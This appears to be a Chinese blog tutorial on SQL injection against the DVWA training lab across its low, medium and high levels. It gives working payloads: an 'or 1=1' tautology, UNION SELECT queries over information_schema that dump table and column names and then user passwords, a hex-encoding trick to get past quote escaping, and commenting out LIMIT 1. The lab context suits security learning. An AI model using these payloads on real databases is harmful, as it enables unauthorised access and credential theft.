dvwa sql注入

dvwa sql注入

low

在这里插入图片描述

一、判断sql是数字型注入还是字符型注入

1.输入1

在这里插入图片描述

2.输入1’和1’#

输入1’

在这里插入图片描述

报错

输入1’#

在这里插入图片描述

不报错

此处判断User ID是字符型的,在sql语句中有 ’ ’ 包裹。

3.检验是否可注入,输入1’ or 1=1#

在这里插入图片描述

1后面的 ’ 闭合了id字段,or 1=1 使得where判断语句失效,即使其恒为真,架空了id字段的作用,无论id输入什么,where总是真,所以爆出了表中所有人的姓名。#起到注释作用,注释后面的sql语句,主要是id字段后一个 ’ 。

注意:此处的 ’ 是英文字符。

经过这三步检验,可判断此处为字符型sql注入。

二、进行注入

1.爆出数据库名称

1' union select 1,database()#

在这里插入图片描述

得数据库名称为dvwa

2.爆出数据库中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

在这里插入图片描述

此处得出dvwa中的表有两个: guestbook,users

3.爆出目标表中的字段名

1'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

在这里插入图片描述

4.爆出目标字段的数据,此处当然是password和user

1'union select user,password from users#

在这里插入图片描述

注解:

column_name:列的名称

information_schema.columns:表示所有列的信息(在整个mysql里面)(information_schema:表示所有信息,包括库、表、列)(information_schema.tables:表示所有表的信息)

table_schema:数据库的名称

table_name:表的名称

Medium

在这里插入图片描述

在这里插入图片描述

此处设置了下拉选择表单,以此来控制用户的输入。对于这种情况,我们可以尝试用burpsuite抓包试试。

在这里插入图片描述

图中标红的地方就是我们从网页上选择提交的数据,这里我们就可以按照low级别的操作步骤进行注入测试了。首先测试是字符型注入还是数字型注入。

修改为:1’ or 1=1#

在这里插入图片描述

报错

在这里插入图片描述

修改为:1 or 1=1

在这里插入图片描述

爆出所有用户姓名。说明存在数字型注入。之后的操作就和low中操作一致了。

其中需要注意的一个点是在爆表中字段时,会报出错误

在这里插入图片描述

在这里插入图片描述

这是因为单引号被转义了,‘变成了\’,这里我们可以用十六进制进行绕过,将字符串users变为十六进制的7573657273

在写sql语句时记得在7573657273前面加上0x表示十六进制。如下图所示

在这里插入图片描述

在这里插入图片描述

下面直接放最后一步的操作图片。

在这里插入图片描述

High

在这里插入图片描述

我们看一下源码

在这里插入图片描述

在这里插入图片描述对比一下low级别的源码,可以发现high级别的sql语句只是在where语句的后面添加了一个LIMIT 1限定,令其只能输出一个结果。对于这种情况,我们只需在注入的时候加上#注释掉后面的LIMIT 1就可以了。其操作步骤就和LOW级别一样了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值